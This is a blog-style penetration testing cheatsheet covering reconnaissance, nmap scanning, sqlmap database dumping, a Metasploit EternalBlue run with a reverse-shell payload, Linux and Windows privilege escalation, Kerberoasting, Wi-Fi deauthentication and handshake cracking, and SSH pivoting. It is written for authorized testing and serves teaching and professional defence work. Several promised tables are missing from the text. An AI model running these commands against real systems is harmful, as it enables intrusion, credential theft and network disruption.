Extended Penetration Testing Cheatsheet: Comprehensive Commands and Techniques

If you’ve spent any real time in the field, you know a pentest engagement rarely goes exactly according to the textbook. One client’s network segment behaves nothing like the last one, a scan that took ten minutes on your last box hangs forever on this one, and half your muscle memory commands need a small tweak because of some firewall quirk nobody documented. Over the years I’ve kept my own running notes — the commands I actually reach for, in the order I actually use them, with the flags that actually matter. This post is that notebook, cleaned up and organized so you (or future me) can find what’s needed without digging through ten browser tabs at 2 AM before a report is due.

This is written for people who already understand the basics of networking, Linux, and the legal/ethical boundaries of authorized testing. Everything here assumes you have written permission to test the systems in question. Unauthorized use of these techniques against systems you don’t own or have explicit authorization to test is illegal in most jurisdictions.

Table of Contents

• Pentesting Methodology Overview
• Reconnaissance and OSINT
• Network Scanning with Nmap
• Vulnerability Scanning
• Web Application Testing
• Password Attacks and Credential Access
• Exploitation Frameworks
• Post-Exploitation and Privilege Escalation
• Active Directory and Windows Testing
• Wireless Testing
• Pivoting and Tunneling
• Reporting and Documentation
• Best Practices and Troubleshooting
• Common Mistakes
• FAQs
• Interview Questions
• Printable Quick-Reference Summary
• Official Documentation Links

Pentesting Methodology Overview

Every engagement I run follows roughly the same phases, whether it’s a two-day internal assessment or a month-long red team simulation:

I treat this list as a loop, not a straight line — post-exploitation on one host often sends me back to scanning a subnet I hadn’t touched yet.

Reconnaissance and OSINT

Passive recon is where I spend more time than people expect. The less noise you make before you start actively touching infrastructure, the better your picture of the target looks going in.

Domain and DNS Recon

whois example.com
dig example.com ANY
dig axfr @ns1.example.com example.com
nslookup -type=MX example.com

Explanation: whois gives registration info; dig ANY pulls a broad record snapshot (many resolvers now restrict this); the axfr attempt checks for a misconfigured DNS server allowing a full zone transfer — a surprisingly common finding on legacy infrastructure.

Subdomain Enumeration

subfinder -d example.com -silent
amass enum -passive -d example.com
assetfinder --subs-only example.com | httpx -silent

Expected output: A list of resolvable or historically indexed subdomains. I usually pipe subfinder and amass results into a single file, sort and dedupe, then feed the result into httpx to check which are actually alive.

OSINT Tools I Keep in Rotation

• theHarvester -d example.com -b all — pulls emails, subdomains, and hosts from search engines and public sources.
• Shodan (shodan search, or the web UI) — for exposed services, default banners, and IoT devices.
• Google dorking — site:example.com filetype:pdf, intitle:"index of" example.com.
• LinkedIn and job postings — often reveal internal tech stack (a job ad for “Splunk administrator” tells you a lot).

Network Scanning with Nmap

Nmap is still the backbone of almost every engagement I run. Here’s the reference table I actually use.

A Real Workflow Example

On a fresh internal engagement, my first few commands typically look like this:

nmap -sn 10.10.10.0/24 -oG live_hosts.txt
grep "Up" live_hosts.txt | cut -d " " -f2 > alive_ips.txt
nmap -sS -sV -sC -p- -iL alive_ips.txt -oA full_scan

Expected output: A structured full_scan.nmap/.xml/.gnmap set of files listing open ports, banners, and any script findings (like anonymous FTP or outdated SMB versions) across every live host. I always keep the .gnmap around — it’s the fastest to grep through later.

NSE Script Categories Worth Knowing

• auth — checks for weak or default authentication
• vuln — checks for known CVEs
• discovery — extra service enumeration
• brute — brute-force modules (use cautiously, can lock accounts)

Vulnerability Scanning

Once I know what’s alive and what’s listening, I move to a proper vulnerability scanner rather than relying on Nmap scripts alone.

Nikto example:

nikto -h https://target.com -o nikto_report.html -Format htm

Expected output: A report flagging outdated server headers, missing security headers (like X-Frame-Options), default files, and known vulnerable paths.

Web Application Testing

This is usually where the bulk of an engagement’s findings live, especially for client-facing applications.

Directory and File Enumeration

gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302

Burp Suite Workflow

I run Burp for nearly every web app test:

1. Configure browser proxy to 127.0.0.1:8080.
2. Passively crawl the site while browsing manually.
3. Send interesting requests to Repeater for manual tampering.
4. Use Intruder for parameter fuzzing (be mindful of rate limits on client infra).
5. Check Target > Site Map for hidden endpoints picked up passively.

SQL Injection Testing

sqlmap -u "https://target.com/item?id=1" --batch --dbs
sqlmap -u "https://target.com/item?id=1" -D shopdb --tables
sqlmap -u "https://target.com/item?id=1" -D shopdb -T users --dump

Explanation: The first command enumerates databases, the second lists tables in a chosen database, and the third dumps table contents. --batch accepts sqlmap’s default answers so it doesn’t stop to prompt you.

Common Web Vulnerability Checklist

• SQL Injection (error-based, blind, time-based)
• Cross-Site Scripting (reflected, stored, DOM-based)
• Broken authentication and session management
• Insecure Direct Object References (IDOR)
• Server-Side Request Forgery (SSRF)
• Security misconfigurations (verbose errors, default credentials)
• Outdated components with known CVEs

Password Attacks and Credential Access

Credential-based findings show up in almost every internal assessment I’ve run — weak passwords remain the most common way into a network.

Hashcat mode reference (a few common ones):

Expected output: Cracked hashes print to console and are saved to a .pot file (hashcat) or john.pot (John), which you can review with john --show hashes.txt.

Password Spraying Etiquette

I always confirm lockout policies with the client before spraying — one bad sweep across a domain can lock out hundreds of accounts and turn a quiet Tuesday into a very loud incident call.

Exploitation Frameworks

Metasploit Basics

msfconsole
search type:exploit platform:windows smb
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.100
run

Explanation: This sequence searches for a matching exploit module, configures the remote target and payload, sets your listener IP, and launches the attack. A successful run typically drops you into a Meterpreter session.

Useful Meterpreter Commands

Post-Exploitation and Privilege Escalation

Linux Privilege Escalation Enumeration

./linpeas.sh > linpeas_output.txt
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab

Explanation: linpeas.sh automates dozens of checks (kernel version, SUID binaries, writable cron jobs, credentials in config files). sudo -l shows what the current user can run as root, and the find command hunts for SUID binaries that might be abusable.

Windows Privilege Escalation

whoami /priv
systeminfo
winpeas.exe

Common escalation vectors to check:

• Unquoted service paths
• Weak service permissions (modifiable binary path)
• AlwaysInstallElevated registry keys
• Stored credentials in scripts or scheduled tasks

Active Directory and Windows Testing

Since so many internal engagements center on AD, this deserves its own section.

Kerberoasting Example

GetUserSPNs.py domain/user:password -dc-ip 10.10.10.1 -request

Expected output: A list of service accounts with Kerberos TGS tickets, output in a crackable hash format you can feed straight into Hashcat mode 13100.

Wireless Testing

airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng --deauth 10 -a <BSSID> wlan0mon
aircrack-ng -w rockyou.txt -b <BSSID> capture.cap

Explanation: This sequence puts the interface into monitor mode, captures handshakes from nearby access points, forces a deauth to trigger a fresh handshake, and then attempts to crack the captured handshake against a wordlist.

Pivoting and Tunneling

Once you have a foothold, reaching deeper network segments often means routing traffic through your compromised host.

ssh -D 9050 user@pivot-host
proxychains nmap -sT -Pn 10.20.30.0/24

# Metasploit's built-in pivoting
use post/multi/manage/autoroute
set SESSION 1
run

Explanation: The SSH dynamic port forward turns the pivot host into a SOCKS proxy; proxychains then routes any tool’s traffic through that tunnel so you can scan and attack subnets your attack box can’t directly reach.

Reporting and Documentation

The best finding in the world is useless if the client can’t act on it. My reports generally include:

• Executive summary (non-technical, risk-focused)
• Scope and methodology
• Findings ranked by severity (CVSS score where applicable)
• Reproduction steps with screenshots
• Remediation recommendations
• Appendix with raw scan output

I keep screenshots and command output organized by host from day one — trying to reconstruct “which command produced this” a week later is a waste of everyone’s time.

Best Practices and Troubleshooting

• Always confirm scope in writing before touching a single IP.
• Rate-limit noisy scans on production networks — a full -p- Nmap scan can occasionally trip IPS/IDS or even destabilize fragile IoT devices.
• Snapshot VMs before testing exploits that could crash a service.
• Use -Pn when hosts don’t respond to ICMP but are still reachable on TCP.
• Keep separate note files per host — trying to remember which shell is on which box after hour six is a losing game.
• If a scan hangs, check firewall state first — -Pn combined with a slower timing template (-T2) often resolves silent drops.
• If Metasploit exploits fail silently, double-check RHOSTS/LHOST and confirm the target’s patch level matches what the module expects.

Common Mistakes

• Skipping the ping sweep and scanning a huge range with -p- directly, wasting hours.
• Running default wordlists without customizing them to the target’s context (company name, product name, common local patterns).
• Forgetting to check for IPv6-only services that don’t show up in an IPv4-only scan.
• Not verifying findings manually before writing them into a report (automated scanners produce false positives constantly).
• Failing to clean up shells, scheduled tasks, and added accounts after the engagement — leaving a subtly worse security posture than before you started.

FAQs

Is Nmap scanning illegal? Scanning networks you don’t own or have written authorization to test is illegal in most countries. Always work within a signed scope agreement.

What’s the difference between a vulnerability scan and a penetration test? A vulnerability scan identifies potential weaknesses automatically; a penetration test goes further, attempting to exploit those weaknesses to demonstrate real-world impact.

Do I need to know how to code to be a pentester? Not strictly, but scripting (Python, Bash, PowerShell) massively speeds up custom enumeration and exploit development.

What certifications are respected in this field? OSCP, CEH, GPEN, and eJPT are commonly recognized; OSCP in particular is well regarded for its hands-on exam format.

How do I practice legally? Platforms like Hack The Box, TryHackMe, and VulnHub provide legal, purpose-built environments for practicing these exact techniques.

Interview Questions

1. Walk me through your methodology for a black-box external assessment.
2. How would you enumerate a Windows domain with only a low-privilege user account?
3. Explain the difference between a reflected and stored XSS vulnerability.
4. What’s your process for privilege escalation on a Linux host with no obvious SUID binaries?
5. How do you handle a client’s production environment being unstable during a scan?
6. Describe how Kerberoasting works and how you’d defend against it.
7. What’s the difference between -sS and -sT scans in Nmap, and when would you choose one over the other?
8. How would you pivot from a DMZ host into an internal network segment?

Printable Quick-Reference Summary

RECON:      whois, dig, subfinder, theHarvester
SCANNING:   nmap -sS -sV -sC -p- target
VULN SCAN:  nuclei, nikto, nessus
WEB:        gobuster, ffuf, sqlmap, burp suite
CREDS:      hydra, hashcat, john, crackmapexec
EXPLOIT:    msfconsole, exploit-db
POST-EXP:   linpeas.sh, winpeas.exe, mimikatz
AD:         bloodhound, enum4linux, impacket
PIVOT:      ssh -D, proxychains, autoroute
REPORT:     findings by severity + repro steps

Keep this list taped next to your monitor — or, more realistically, pinned in whatever note-taking app you actually check mid-engagement.

Official Documentation Links

• Nmap: https://nmap.org/book/man.html
• Metasploit Framework: https://docs.metasploit.com/
• Burp Suite: https://portswigger.net/burp/documentation
• sqlmap: https://github.com/sqlmapproject/sqlmap/wiki
• Hashcat: https://hashcat.net/wiki/
• John the Ripper: https://www.openwall.com/john/doc/
• BloodHound: https://bloodhound.readthedocs.io/
• Impacket: https://github.com/fortra/impacket
• OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/

Every one of these commands is a starting point, not a guarantee — real engagements always throw in something the cheatsheet didn’t cover. That’s half the reason I keep updating this list instead of trusting a static PDF from three years ago. If you’re building your own version of this, my honest advice is to actually run each command against a lab environment (Hack The Box, TryHackMe, a home lab VM) until the syntax is muscle memory, not something you have to look up under pressure.